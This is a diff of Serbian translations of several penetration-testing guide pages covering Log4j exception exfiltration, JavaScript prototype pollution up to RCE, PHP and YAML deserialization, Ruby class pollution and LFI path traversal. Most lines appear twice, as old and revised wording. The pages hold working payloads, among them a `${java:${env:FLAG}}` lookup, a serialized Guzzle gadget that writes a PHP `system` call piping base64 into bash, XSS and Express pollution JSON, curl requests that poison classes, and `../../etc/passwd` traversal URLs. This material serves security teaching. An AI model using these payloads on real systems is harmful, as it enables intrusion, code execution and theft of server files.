U CTF-u, **niste mogli pristupiti stderr** java aplikacije koristeći log4J, ali Log4J **izuzeci se šalju na stdout**, koji je bio odštampan u python aplikaciji. To je značilo da, pokretanjem izuzetka, možemo pristupiti sadržaju. Izuzetak za eksfiltraciju zastave bio je: **`${java:${env:FLAG}}`.** Ovo funkcioniše jer **`${java:CTF{blahblah}}`** ne postoji i izuzetak sa vrednošću zastave će biti prikazan:
U CTF-u, **niste mogli pristupiti stderr** java aplikacije koristeći log4J, ali Log4J **izuzeci se šalju na stdout**, koji je bio odštampan u python aplikaciji. To je značilo da bismo aktiviranjem izuzetka mogli pristupiti sadržaju. Izuzetak za eksfiltraciju zastave bio je: **`${java:${env:FLAG}}`.** Ovo funkcioniše jer **`${java:CTF{blahblah}}`** ne postoji i izuzetak sa vrednošću zastave će biti prikazan:
![](<../../images/image (1023).png>)
### Conversion Patterns Exceptions
Samo da napomenem, mogli ste takođe da injektujete nove [**conversion patterns**](https://logging.apache.org/log4j/2.x/manual/layouts.html#PatternLayout) i pokrenete izuzetke koji će biti zabeleženi u `stdout`. Na primer:
Samo da napomenem, mogli ste takođe da injektujete nove [**conversion patterns**](https://logging.apache.org/log4j/2.x/manual/layouts.html#PatternLayout) i aktivirate izuzetke koji će biti zabeleženi na `stdout`. Na primer:
![](<../../images/image (683).png>)
@ -414,11 +414,12 @@ U ovom [**izveštaju**](https://intrigus.org/research/2022/07/18/google-ctf-2022
> }{#}{######################################################}
> }{#}{######################################################}
> }{#}{######################################################}
> }{#}{######################################################}
> ```
>
> Ako zastavica počinje sa `flagGuess`, cela zastavica se zamenjuje sa 29 `#`-s (koristio sam ovaj karakter jer verovatno neće biti deo zastavice). **Svaki od rezultantnih 29 `#`-s se zatim zamenjuje sa 54 `#`-s**. Ovaj proces se ponavlja **6 puta**, što dovodi do ukupnog broja ` 29*54*54^6* =`` `` `**`96816014208`** **`#`-s!**
>
> Zamenjivanje toliko `#`-s izazvaće 10-sekundni timeout Flask aplikacije, što će rezultirati slanjem HTTP status koda 500 korisniku. (Ako zastavica ne počinje sa `flagGuess`, dobićemo status kod koji nije 500)
> Zamena toliko `#`-s izazvaće 10-sekundni timeout Flask aplikacije, što će rezultirati slanjem HTTP status koda 500 korisniku. (Ako zastavica ne počinje sa `flagGuess`, dobićemo status kod koji nije 500)
## Reference

View File

@ -1,10 +1,10 @@
# NodeJS - \_\_proto\_\_ & prototype Pollution
# NodeJS - \_\_proto\_\_ i zagađenje prototipa
{{#include ../../../banners/hacktricks-training.md}}
## Objekti u JavaScript-u <a href="#id-053a" id="id-053a"></a>
Objekti u JavaScript-u su suštinski kolekcije parova ključ-vrednost, poznatih kao svojstva. Objekat se može kreirati koristeći `Object.create` sa `null` kao argumentom da bi se proizveo prazan objekat. Ova metoda omogućava kreiranje objekta bez nasleđenih svojstava.
Objekti u JavaScript-u su suštinski kolekcije parova ključ-vrednost, poznate kao svojstva. Objekat se može kreirati koristeći `Object.create` sa `null` kao argumentom da bi se proizveo prazan objekat. Ova metoda omogućava kreiranje objekta bez nasleđenih svojstava.
```javascript
// Run this in the developers tools console
console.log(Object.create(null)) // This will output an empty object.
@ -39,9 +39,9 @@ Funkcije kao što su `toString` i `valueOf` mogu se menjati kako bi se promenilo
## Nasleđivanje
U programiranju zasnovanom na prototipima, svojstva/metode se nasleđuju od objekata iz klasa. Ove klase se kreiraju dodavanjem svojstava/metoda ili instanci druge klase ili praznom objektu.
U programiranju zasnovanom na prototipovima, svojstva/metode se nasleđuju od objekata iz klasa. Ove klase se kreiraju dodavanjem svojstava/metoda ili instanci druge klase ili praznom objektu.
Treba napomenuti da kada se svojstvo doda objektu koji služi kao prototip za druge objekte (kao što je `myPersonObj`), nasleđujući objekti dobijaju pristup ovom novom svojstvu. Međutim, ovo svojstvo se ne prikazuje automatski osim ako nije eksplicitno pozvano.
Treba napomenuti da kada se svojstvo doda objektu koji služi kao prototip za druge objekte (kao što je `myPersonObj`), nasleđeni objekti dobijaju pristup ovom novom svojstvu. Međutim, ovo svojstvo se ne prikazuje automatski osim ako nije eksplicitno pozvano.
## \_\_proto\_\_ zagađenje <a href="#id-0d0a" id="id-0d0a"></a>
@ -76,9 +76,9 @@ car1.announce() // Outputs "Beep beep!"
car1.__proto__.__proto__.isVehicle = true
console.log(car1.isVehicle) // Outputs true
```
## prototype pollution
## zagađenje prototipa
Za scenario u kojoj je korišćenje `__proto__` ograničeno, modifikacija prototipa funkcije je alternativa:
Za scenario gde je korišćenje `__proto__` ograničeno, modifikacija prototipa funkcije je alternativa:
```javascript
function Vehicle(model) {
this.model = model
@ -144,7 +144,7 @@ console.log(key1 + "." + key2)
```
### Zagađenje elemenata niza
Imajte na umu da, kao što možete zagađivati atribute objekata u JS, ako imate pristup da zagađujete niz, možete takođe **zagađivati vrednosti niza** dostupne **preko indeksa** (imajte na umu da ne možete prepisivati vrednosti, tako da morate zagađivati indekse koji se na neki način koriste, ali se ne pišu).
Imajte na umu da, kao što možete zagađivati atribute objekata u JS-u, ako imate pristup zagađivanju niza, možete takođe **zagađivati vrednosti niza** dostupne **preko indeksa** (imajte na umu da ne možete prepisivati vrednosti, tako da morate zagađivati indekse koji se na neki način koriste, ali se ne pišu).
```javascript
c = [1, 2]
a = []
@ -211,18 +211,18 @@ Ostali payloadi:
client-side-prototype-pollution.md
{{#endref}}
### CVE-201911358: Napad prototipne zagađenja kroz jQuery $ .extend
### CVE-201911358: Napad prototipne kontaminacije kroz jQuery $ .extend
[Za više detalja pogledajte ovaj članak](https://itnext.io/prototype-pollution-attack-on-nodejs-applications-94a8582373e7) U jQuery, funkcija `$ .extend` može dovesti do prototipnog zagađenja ako se funkcija dubokog kopiranja koristi nepravilno. Ova funkcija se obično koristi za kloniranje objekata ili spajanje svojstava iz podrazumevanog objekta. Međutim, kada je pogrešno konfigurisana, svojstva namenjena novom objektu mogu biti dodeljena prototipu umesto toga. Na primer:
[Za više detalja pogledajte ovaj članak](https://itnext.io/prototype-pollution-attack-on-nodejs-applications-94a8582373e7) U jQuery, funkcija `$ .extend` može dovesti do prototipne kontaminacije ako se funkcija dubokog kopiranja koristi nepravilno. Ova funkcija se obično koristi za kloniranje objekata ili spajanje svojstava iz podrazumevanog objekta. Međutim, kada je pogrešno konfigurisana, svojstva namenjena novom objektu mogu biti dodeljena prototipu umesto toga. Na primer:
```javascript
$.extend(true, {}, JSON.parse('{"__proto__": {"devMode": true}}'))
console.log({}.devMode) // Outputs: true
```
Ova ranjivost, identifikovana kao CVE-201911358, ilustruje kako duboka kopija može nenamerno da izmeni prototip, što dovodi do potencijalnih bezbednosnih rizika, kao što je neovlašćen pristup administratoru ako se svojstva poput `isAdmin` proveravaju bez odgovarajuće verifikacije postojanja.
Ova ranjivost, identifikovana kao CVE-201911358, ilustruje kako duboka kopija može nenamerno da izmeni prototip, što može dovesti do potencijalnih bezbednosnih rizika, kao što je neovlašćen pristup administratoru ako se svojstva poput `isAdmin` proveravaju bez odgovarajuće verifikacije postojanja.
### CVE-20183721, CVE-201910744: Napad zagađenja prototipa kroz lodash
[Za više detalja pogledajte ovaj članak](https://itnext.io/prototype-pollution-attack-on-nodejs-applications-94a8582373e7)
[Za više detalja proverite ovaj članak](https://itnext.io/prototype-pollution-attack-on-nodejs-applications-94a8582373e7)
[Lodash](https://www.npmjs.com/package/lodash) se suočio sa sličnim ranjivostima zagađenja prototipa (CVE-20183721, CVE-201910744). Ovi problemi su rešeni u verziji 4.17.11.
@ -241,7 +241,7 @@ NodeJS široko koristi Apstraktna Sintaktička Stabla (AST) u JavaScript-u za fu
#### Analiza ranjivosti Handlebars
Engine za šablone Handlebars je podložan napadu zagađenja prototipa. Ova ranjivost proističe iz specifičnih funkcija unutar `javascript-compiler.js` datoteke. Funkcija `appendContent`, na primer, konkatenira `pendingContent` ako je prisutan, dok funkcija `pushSource` resetuje `pendingContent` na `undefined` nakon dodavanja izvora.
Engine za šablone Handlebars je podložan napadu zagađenja prototipa. Ova ranjivost proizašla je iz specifičnih funkcija unutar `javascript-compiler.js` datoteke. Funkcija `appendContent`, na primer, konkatenira `pendingContent` ako je prisutan, dok funkcija `pushSource` resetuje `pendingContent` na `undefined` nakon dodavanja izvora.
**Proces eksploatacije**
@ -344,7 +344,7 @@ Da bi se smanjio rizik od zagađenja prototipa, mogu se primeniti sledeće strat
6. **Ažuriranje biblioteka**: Sigurnosne zakrpe mogu se uključiti redovnim ažuriranjem biblioteka.
7. **Linter i alati za statičku analizu**: Koristite alate poput ESLint-a sa odgovarajućim dodacima za otkrivanje i sprečavanje ranjivosti na zagađenje prototipa.
8. **Revizije koda**: Implementirati temeljne revizije koda kako bi se identifikovali i otklonili potencijalni rizici vezani za zagađenje prototipa.
9. **Obuka o bezbednosti**: Obrazovati programere o rizicima od zagađenja prototipa i najboljim praksama za pisanje sigurnog koda.
9. **Obuka o bezbednosti**: Obrazovati programere o rizicima zagađenja prototipa i najboljim praksama za pisanje sigurnog koda.
10. **Korišćenje biblioteka sa oprezom**: Budite oprezni prilikom korišćenja biblioteka trećih strana. Procijenite njihov sigurnosni položaj i pregledajte njihov kod, posebno onih koji manipulišu objektima.
11. **Zaštita u vreme izvođenja**: Primena mehanizama zaštite u vreme izvođenja, kao što su korišćenje npm paketa fokusiranih na bezbednost koji mogu otkriti i sprečiti napade zagađenja prototipa.

View File

@ -46,9 +46,9 @@ origValue = val
debugAccess(Object.prototype, "ppmap")
```
4. Vratite se na karticu **Sources** i izaberite “Resume script execution”. JavaScript će nastaviti sa izvršavanjem, a 'ppmap' svojstvo će biti zagađeno kao što se očekuje. Korišćenje datog snippeta olakšava identifikaciju tačne lokacije gde je 'ppmap' svojstvo zagađeno. Istraživanjem **Call Stack**-a, mogu se posmatrati različiti stekovi gde je došlo do zagađenja.
4. Vratite se na karticu **Sources** i izaberite “Resume script execution”. JavaScript će nastaviti sa izvršavanjem, a 'ppmap' svojstvo će biti zagađeno kao što se očekuje. Korišćenje datog snippeta olakšava identifikaciju tačne lokacije gde je 'ppmap' svojstvo zagađeno. Istraživanjem **Call Stack**, mogu se posmatrati različiti stekovi gde je došlo do zagađenja.
Kada odlučujete koji stek da istražujete, često je korisno ciljati stekove povezane sa JavaScript bibliotečkim datotekama, jer se zagađenje prototipa često dešava unutar ovih biblioteka. Identifikujte relevantan stek ispitivanjem njegove povezanosti sa bibliotečkim datotekama (vidljivo sa desne strane, slično slici koja je data kao vodič). U scenarijima sa više stekova, kao što su oni na linijama 4 i 6, logičan izbor je stek na liniji 4, jer predstavlja početno zagađenje i time osnovni uzrok ranjivosti. Klikom na stek bićete preusmereni na ranjivi kod.
Kada odlučujete koji stek da istražujete, često je korisno ciljati stekove povezane sa JavaScript bibliotečkim datotekama, jer se zagađenje prototipa često dešava unutar ovih biblioteka. Identifikujte relevantan stek ispitivanjem njegove povezanosti sa bibliotečkim datotekama (vidljivo sa desne strane, slično slici koja je data kao vodič). U scenarijima sa više stekova, kao što su oni na linijama 4 i 6, logičan izbor je stek na liniji 4, jer predstavlja početno zagađenje i tako uzrok ranjivosti. Klikom na stek bićete preusmereni na ranjivi kod.
![https://miro.medium.com/max/1400/1*S8NBOl1a7f1zhJxlh-6g4w.jpeg](https://miro.medium.com/max/1400/1*S8NBOl1a7f1zhJxlh-6g4w.jpeg)
@ -67,9 +67,9 @@ Proverite ovaj writeup: [https://blog.huli.tw/2022/05/02/en/intigriti-revenge-ch
- [https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#prototype-pollution](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#prototype-pollution)
- [https://github.com/BlackFan/client-side-prototype-pollution](https://github.com/BlackFan/client-side-prototype-pollution)
## Bypass HTML sanitizera putem PP
## Zaobilaženje HTML sanitizera putem PP
[**Ova istraživanja**](https://research.securitum.com/prototype-pollution-and-bypassing-client-side-html-sanitizers/) prikazuju PP gadgete koji se koriste za **obići sanitizacije** koje pružaju neke biblioteke HTML sanitizera:
[**Ova istraživanja**](https://research.securitum.com/prototype-pollution-and-bypassing-client-side-html-sanitizers/) prikazuju PP gadgete koji se koriste za **zaobilaženje sanitizacija** koje pružaju neke biblioteke HTML sanitizera:
- **sanitize-html**

View File

@ -20,7 +20,7 @@ U ovim slučajevima XSS obično nije moguć sa JSON tipom sadržaja. Međutim, s
```json
{ "__proto__": { "_body": true, "body": "<script>evil()" } }
```
Zagađivanjem **`body`** i **`_body`** svojstava, moguće je izazvati da **Express servira HTML tip sadržaja** i reflektuje `_body` svojstvo, što rezultira pohranjenim XSS.
Zagađivanjem **`body`** i **`_body`** svojstava, moguće je izazvati da **Express servira HTML tip sadržaja** i reflektuje **_body** svojstvo, što rezultira pohranjenim XSS.
### Render UTF7
@ -32,7 +32,7 @@ Moguće je naterati express da **renderuje UTF-7 sadržaj sa**:
### JSON razmaci
Sledeći PP će dodati dodatni razmak unutar atributa u JSON-u, što neće prekinuti funkcionalnost:
Sledeći PP će dodati dodatni razmak unutar atributa u JSON-u koji neće pokvariti funkcionalnost:
```json
{ "__proto__": { "json spaces": " " } }
```
@ -67,7 +67,7 @@ Moguće je promeniti **vratni status kod** koristeći sledeći PP payload:
```
### Greška
Kada dodelite prototipu primitivnu vrednost kao što je string, to proizvodi **no-op operaciju jer prototip mora biti objekat**. Ako pokušate da dodelite objekat prototipa samom `Object.prototype`, to će **izazvati izuzetak**. Možemo koristiti ova dva ponašanja da **otkrijemo da li je zagađenje prototipa bilo uspešno**:
Kada dodelite prototipu primitiv kao što je string, to proizvodi **no-op operaciju jer prototip mora biti objekat**. Ako pokušate da dodelite objekat prototipa samom `Object.prototype`, to će **izazvati izuzetak**. Možemo koristiti ova dva ponašanja da **otkrijemo da li je zagađenje prototipa bilo uspešno**:
```javascript
;({}).__proto__.__proto__ = {}(
//throws type exception

View File

@ -1,8 +1,8 @@
# Prototype Pollution to RCE
# Zagađenje prototipa do RCE
{{#include ../../../banners/hacktricks-training.md}}
## Vulnerable Code
## Ranjivi kod
Zamislite pravi JS koji koristi neki kod poput sledećeg:
```javascript
@ -37,11 +37,11 @@ clone(USERINPUT)
// Create an a_file.js file in the current dir: `echo a=2 > a_file.js`
var proc = fork("a_file.js")
```
## PP2RCE putem env varijabli
## PP2RCE putem env var
**PP2RCE** znači **Zagađenje prototipa do RCE** (Daljinsko izvršavanje koda).
Prema ovom [**izveštaju**](https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/), kada se **proces pokrene** nekom metodom iz **`child_process`** (kao što su `fork` ili `spawn` ili drugi), poziva se metoda `normalizeSpawnArguments` koja je **alat za zagađenje prototipa za kreiranje novih env varijabli**:
Prema ovom [**izveštaju**](https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/), kada se **proces pokrene** nekom metodom iz **`child_process`** (kao što su `fork` ili `spawn` ili drugi), poziva se metoda `normalizeSpawnArguments` koja je **alat za zagađenje prototipa za kreiranje novih env var**:
```javascript
//See code in https://github.com/nodejs/node/blob/02aa8c22c26220e16616a88370d111c0229efe5e/lib/child_process.js#L638-L686
@ -61,15 +61,15 @@ ArrayPrototypePush(envPairs, `${key}=${value}`); // <-- Pollution
}
}
```
Proverite taj kod, možete videti da je moguće **poison `envPairs`** samo **zagađujući** **atribut `.env`.**
Proverite taj kod, možete videti da je moguće **poison `envPairs`** samo zagađivanjem **atributa `.env`.**
### **Zagađivanje `__proto__`**
> [!WARNING]
> Imajte na umu da zbog načina na koji funkcija **`normalizeSpawnArguments`** iz biblioteke **`child_process`** u node-u funkcioniše, kada se nešto pozove kako bi se **postavila nova env varijabla** za proces, potrebno je samo **zagađivati bilo šta**.\
> Imajte na umu da zbog načina na koji funkcija **`normalizeSpawnArguments`** iz biblioteke **`child_process`** u node-u funkcioniše, kada se nešto pozove kako bi se **postavila nova env varijabla** za proces, potrebno je samo **zagađivanje bilo čega**.\
> Na primer, ako uradite `__proto__.avar="valuevar"` proces će biti pokrenut sa varijablom pod imenom `avar` sa vrednošću `valuevar`.
>
> Međutim, da bi **env varijabla bila prva**, potrebno je **zagađivati** **atribut `.env`** i (samo u nekim metodama) ta varijabla će biti **prva** (omogućavajući napad).
> Međutim, da bi **env varijabla bila prva**, potrebno je **zagađivanje** **atributa `.env`** i (samo u nekim metodama) ta varijabla će biti **prva** (omogućavajući napad).
>
> Zato **`NODE_OPTIONS`** **nije unutar `.env`** u sledećem napadu.
```javascript
@ -554,7 +554,7 @@ fork("anything")
{{#endtab}}
{{#endtabs}}
#### Relativna putanja - 1
#### Relativno zahtevanje - 1
Ako se umesto apsolutne putanje učita **relativna putanja**, možete naterati node da **učita drugu putanju**:
@ -665,7 +665,7 @@ Međutim, kao i prethodne **`child_process`** metode, to je **ispravljeno** u na
## Fixes & Unexpected protections
Molimo vas da obratite pažnju da prototipska zagađenja funkcionišu ako je **atribut** objekta koji se pristupa **neodređen**. Ako je u **kodu** taj **atribut** **postavljen** na **vrednost**, nećete moći da ga **prepišete**.
Molimo vas da napomenete da prototipsko zagađenje funkcioniše ako je **atribut** objekta koji se pristupa **neodređen**. Ako je u **kodu** taj **atribut** **postavljen** na **vrednost**, nećete moći da ga **prepišete**.
U junu 2022. iz [**ovog commit-a**](https://github.com/nodejs/node/commit/20b0df1d1eba957ea30ba618528debbe02a97c6a) varijabla `options` umesto `{}` je **`kEmptyObject`**. Što **sprečava prototipsko zagađenje** da utiče na **atribute** **`options`** kako bi se dobio RCE.\
Bar od v18.4.0 ova zaštita je **implementirana**, i stoga `spawn` i `spawnSync` **eksploati** koji utiču na metode **više ne rade** (ako se ne koriste `options`!).

View File

@ -48,14 +48,14 @@ U mom slučaju, nisam imao ništa slično, ali je unutar **iste kontejnera** bil
```php
a:2:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"<?php system('echo L3JlYWRmbGFn | base64 -d | bash'); ?>";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}}
```
- Sada možemo **napraviti i napisati datoteku**, međutim, korisnik **nije mogao da piše u bilo koju fasciklu unutar web servera**. Dakle, kao što možete videti u payload-u, PHP poziva **`system`** sa nekim **base64** koji je kreiran u **`/tmp/a.php`**. Zatim, možemo **ponovo iskoristiti prvi tip payload-a** koji smo koristili kao LFI da učitamo composer loader druge web aplikacije **da učitamo generisanu `/tmp/a.php`** datoteku. Samo ga dodajte u gadget za deserializaciju:&#x20;
- Sada možemo **da kreiramo i pišemo datoteku**, međutim, korisnik **nije mogao da piše u bilo koju fasciklu unutar web servera**. Dakle, kao što možete videti u payload-u, PHP poziva **`system`** sa nekim **base64** koji je kreiran u **`/tmp/a.php`**. Zatim, možemo **ponovo iskoristiti prvi tip payload-a** koji smo koristili kao LFI da učitamo composer loader druge web aplikacije **da učitamo generisanu `/tmp/a.php`** datoteku. Samo ga dodajte u deserialization gadget:&#x20;
```php
a:3:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"<?php system('echo L3JlYWRmbGFn | base64 -d | bash'); ?>";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}s:6:"Extra3";O:5:"tmp_a":0:{}}
```
**Sažetak payload-a**
- **Učitaj composer autoload** druge web aplikacije u istom kontejneru
- **Učitaj phpggc gadget** da iskoristi biblioteku iz druge web aplikacije (prva web aplikacija ranjiva na deserializaciju nije imala nijedan gadget u svojim bibliotekama)
- **Učitaj phpggc gadget** da bi se iskoristila biblioteka iz druge web aplikacije (prva web aplikacija koja je bila ranjiva na deserializaciju nije imala nijedan gadget u svojim bibliotekama)
- Gadget će **napraviti datoteku sa PHP payload-om** u /tmp/a.php sa malicioznim komandama (korisnik web aplikacije ne može da piše u bilo koju fasciklu bilo koje web aplikacije)
- Poslednji deo našeg payload-a će koristiti **učitaj generisanu php datoteku** koja će izvršiti komande

View File

@ -87,11 +87,11 @@ state:
],
}
```
Napomena da u **novijim verzijama** ne možete **više pozivati `.load()`** **bez `Loader`-a** i **`FullLoader`** više nije **ranjiv** na ovaj napad.
Napomena da u **novijim verzijama** više ne možete **pozvati `.load()`** **bez `Loader`-a** i da **`FullLoader`** više nije **ranjiv** na ovaj napad.
## RCE
Prilagođeni payload-ovi mogu se kreirati koristeći Python YAML module kao što su **PyYAML** ili **ruamel.yaml**. Ovi payload-ovi mogu iskoristiti ranjivosti u sistemima koji deserializuju nepouzdane ulaze bez odgovarajuće sanitizacije.
Prilagođeni payloadi se mogu kreirati koristeći Python YAML module kao što su **PyYAML** ili **ruamel.yaml**. Ovi payloadi mogu iskoristiti ranjivosti u sistemima koji deserializuju nepouzdane ulaze bez pravilne sanitizacije.
```python
import yaml
from yaml import UnsafeLoader, FullLoader, Loader

View File

@ -143,7 +143,7 @@ JSONMergerApp.run(json_input)
```
### Objašnjenje
1. **Povećanje privilegija**: Metoda `authorize` proverava da li `to_s` vraća "Admin." Umetanjem novog atributa `to_s` putem JSON-a, napadač može da učini da metoda `to_s` vrati "Admin," dodeljujući neovlašćene privilegije.
1. **Povećanje privilegija**: Metoda `authorize` proverava da li `to_s` vraća "Admin." Umetanjem novog atributa `to_s` putem JSON-a, napadač može da učini da metoda `to_s` vrati "Admin," čime se dodeljuju neovlašćene privilegije.
2. **Izvršavanje koda na daljinu**: U `health_check`, `instance_eval` izvršava metode navedene u `protected_methods`. Ako napadač umetne prilagođene nazive metoda (kao što je `"puts 1"`), `instance_eval` će ga izvršiti, što dovodi do **izvršavanja koda na daljinu (RCE)**.
1. Ovo je moguće samo zato što postoji **ranjiva `eval` instrukcija** koja izvršava string vrednost tog atributa.
3. **Ograničenje uticaja**: Ova ranjivost utiče samo na pojedinačne instance, ostavljajući druge instance `User` i `Admin` netaknutim, čime se ograničava opseg eksploatacije.
@ -170,7 +170,7 @@ end
Hashie-ova `deep_merge` metoda deluje direktno na atributima objekta umesto na običnim hešovima. Ona **sprečava zamenu metoda** sa atributima u spajanju uz neke **izuzetke**: atributi koji se završavaju sa `_`, `!`, ili `?` i dalje mogu biti spojeni u objekat.
Jedan poseban slučaj je atribut **`_`** sam po sebi. Samo `_` je atribut koji obično vraća `Mash` objekat. I zato što je deo **izuzetaka**, moguće je izmeniti ga.
Poseban slučaj je atribut **`_`** sam po sebi. Samo `_` je atribut koji obično vraća `Mash` objekat. I zato što je deo **izuzetaka**, moguće je izmeniti ga.
Pogledajte sledeći primer kako prosleđivanje `{"_": "Admin"}` omogućava zaobilaženje `_.to_s == "Admin"`:
```ruby
@ -248,7 +248,7 @@ JSONMergerApp.run(json_input)
```
## Poison the Classes <a href="#escaping-the-object-to-poison-the-class" id="escaping-the-object-to-poison-the-class"></a>
U sledećem primeru moguće je pronaći klasu **`Person`**, kao i klase **`Admin`** i **`Regular`** koje nasleđuju klasu **`Person`**. Takođe ima još jednu klasu pod nazivom **`KeySigner`**:
U sledećem primeru moguće je pronaći klasu **`Person`**, kao i klase **`Admin`** i **`Regular`** koje nasleđuju klasu **`Person`**. Takođe ima i drugu klasu pod nazivom **`KeySigner`**:
```ruby
require 'json'
require 'sinatra/base'
@ -386,7 +386,7 @@ end
```
### Poison Parent Class
Sa ovim payload-om:
Sa ovom payload-om:
```bash
curl -X POST -H "Content-Type: application/json" -d '{"class":{"superclass":{"url":"http://malicious.com"}}}' http://localhost:4567/merge
```
@ -398,7 +398,7 @@ Sa ovim payload-om:
```bash
for i in {1..1000}; do curl -X POST -H "Content-Type: application/json" -d '{"class":{"superclass":{"superclass":{"subclasses":{"sample":{"signing_key":"injected-signing-key"}}}}}}' http://localhost:4567/merge --silent > /dev/null; done
```
Moguće je izvršiti brute-force na definisanim klasama i u nekom trenutku otrovati klasu **`KeySigner`** modifikovanjem vrednosti `signing_key` na `injected-signing-key`.\
Moguće je izvršiti brute-force na definisanim klasama i u nekom trenutku otrovati klasu **`KeySigner`** modifikovanjem vrednosti `signing_key` na `injected-signing-key`.
## References

View File

@ -45,11 +45,11 @@ Proverite LFI listu za linux.
## Osnovni LFI i zaobilaženja
Svi primeri su za Lokalnu Uključivanje Datoteka, ali se mogu primeniti i na Daljinsko Uključivanje Datoteka (stranica=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt)/>).
Svi primeri su za Local File Inclusion, ali se mogu primeniti i na Remote File Inclusion (stranica=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt)/>).
```
http://example.com/index.php?page=../../../etc/passwd
```
### sekvence prolaza uklonjene nekorekurzivno
### sekvence prolaza uklonjene ne-rekurzivno
```python
http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
@ -78,11 +78,11 @@ Možda back-end proverava putanju fascikle:
```python
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
```
### Istraživanje direktorijuma fajl sistema na serveru
### Istraživanje direktorijuma datotečnog sistema na serveru
Fajl sistem servera može se istraživati rekurzivno kako bi se identifikovali direktorijumi, a ne samo fajlovi, korišćenjem određenih tehnika. Ovaj proces uključuje određivanje dubine direktorijuma i ispitivanje postojanja specifičnih foldera. Ispod je detaljna metoda za postizanje ovoga:
Datotečni sistem servera može se istraživati rekurzivno kako bi se identifikovali direktorijumi, a ne samo datoteke, korišćenjem određenih tehnika. Ovaj proces uključuje određivanje dubine direktorijuma i ispitivanje postojanja specifičnih foldera. Ispod je detaljna metoda za postizanje ovoga:
1. **Odredite dubinu direktorijuma:** Utvrdite dubinu vašeg trenutnog direktorijuma uspešnim preuzimanjem fajla `/etc/passwd` (primenjivo ako je server zasnovan na Linux-u). Primer URL-a može biti strukturiran na sledeći način, ukazujući na dubinu od tri:
1. **Odredite dubinu direktorijuma:** Utvrdite dubinu vašeg trenutnog direktorijuma uspešnim preuzimanjem datoteke `/etc/passwd` (primenjivo ako je server zasnovan na Linux-u). Primer URL-a može biti strukturiran na sledeći način, ukazujući na dubinu od tri:
```bash
http://example.com/index.php?page=../../../etc/passwd # depth of 3
```
@ -90,10 +90,10 @@ http://example.com/index.php?page=../../../etc/passwd # depth of 3
```bash
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
```
3. **Tumačenje Ishoda:** Odgovor servera ukazuje da li folder postoji:
3. **Tumačenje Ishoda:** Odgovor servera ukazuje na to da li folder postoji:
- **Greška / Nema Izlaza:** Folder `private` verovatno ne postoji na navedenoj lokaciji.
- **Sadržaj `/etc/passwd`:** Prisutnost foldera `private` je potvrđena.
4. **Rekurzivna Istraživanja:** Otkriće foldera može se dodatno istražiti za poddirektorijume ili datoteke koristeći istu tehniku ili tradicionalne metode Lokalnog Uključivanja Datoteka (LFI).
4. **Rekurzivna Istraživanja:** Otkriveni folderi se mogu dodatno istraživati za poddirektorijume ili datoteke koristeći istu tehniku ili tradicionalne metode Lokalnog Uključivanja Datoteka (LFI).
Za istraživanje direktorijuma na različitim lokacijama u fajl sistemu, prilagodite payload u skladu s tim. Na primer, da proverite da li `/var/www/` sadrži `private` direktorijum (pretpostavljajući da je trenutni direktorijum na dubini od 3), koristite:
```bash
@ -101,7 +101,7 @@ http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
```
### **Tehnika skraćivanja putanje**
Skraćivanje putanje je metoda koja se koristi za manipulaciju putanjama fajlova u web aplikacijama. Često se koristi za pristup ograničenim fajlovima zaobilaženjem određenih bezbednosnih mera koje dodaju dodatne karaktere na kraj putanja fajlova. Cilj je kreirati putanju fajla koja, kada je izmenjena bezbednosnom merom, i dalje ukazuje na željeni fajl.
Skraćivanje putanje je metoda koja se koristi za manipulaciju putanjama fajlova u veb aplikacijama. Često se koristi za pristup ograničenim fajlovima zaobilaženjem određenih bezbednosnih mera koje dodaju dodatne karaktere na kraj putanja fajlova. Cilj je kreirati putanju fajla koja, kada je izmenjena bezbednosnom merom, i dalje ukazuje na željeni fajl.
U PHP-u, različite reprezentacije putanje fajla mogu se smatrati ekvivalentnim zbog prirode fajl sistema. Na primer:
@ -122,8 +122,8 @@ http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/pas
U ovim scenarijima, broj potrebnih prelaza može biti oko 2027, ali ovaj broj može varirati u zavisnosti od konfiguracije servera.
- **Korišćenje tačaka i dodatnih karaktera**: Sekvence prelaza (`../`) u kombinaciji sa dodatnim tačkama i karakterima mogu se koristiti za navigaciju kroz fajl sistem, efikasno ignorirajući dodatne stringove koje server dodaje.
- **Određivanje potrebnog broja prelaza**: Kroz pokušaje i greške, može se pronaći tačan broj `../` sekvenci potrebnih za navigaciju do root direktorijuma, a zatim do `/etc/passwd`, osiguravajući da su svi dodati stringovi (poput `.php`) neutralisani, ali da željeni put (`/etc/passwd`) ostane netaknut.
- **Početak sa lažnim direktorijumom**: Uobičajena praksa je da se put započne sa nepostojećim direktorijumom (poput `a/`). Ova tehnika se koristi kao mera predostrožnosti ili da bi se ispunili zahtevi logike parsiranja putanje servera.
- **Određivanje potrebnog broja prelaza**: Kroz pokušaje i greške, može se pronaći tačan broj `../` sekvenci potrebnih za navigaciju do root direktorijuma, a zatim do `/etc/passwd`, osiguravajući da su svi dodati stringovi (kao što je `.php`) neutralisani, ali da željeni put (`/etc/passwd`) ostane netaknut.
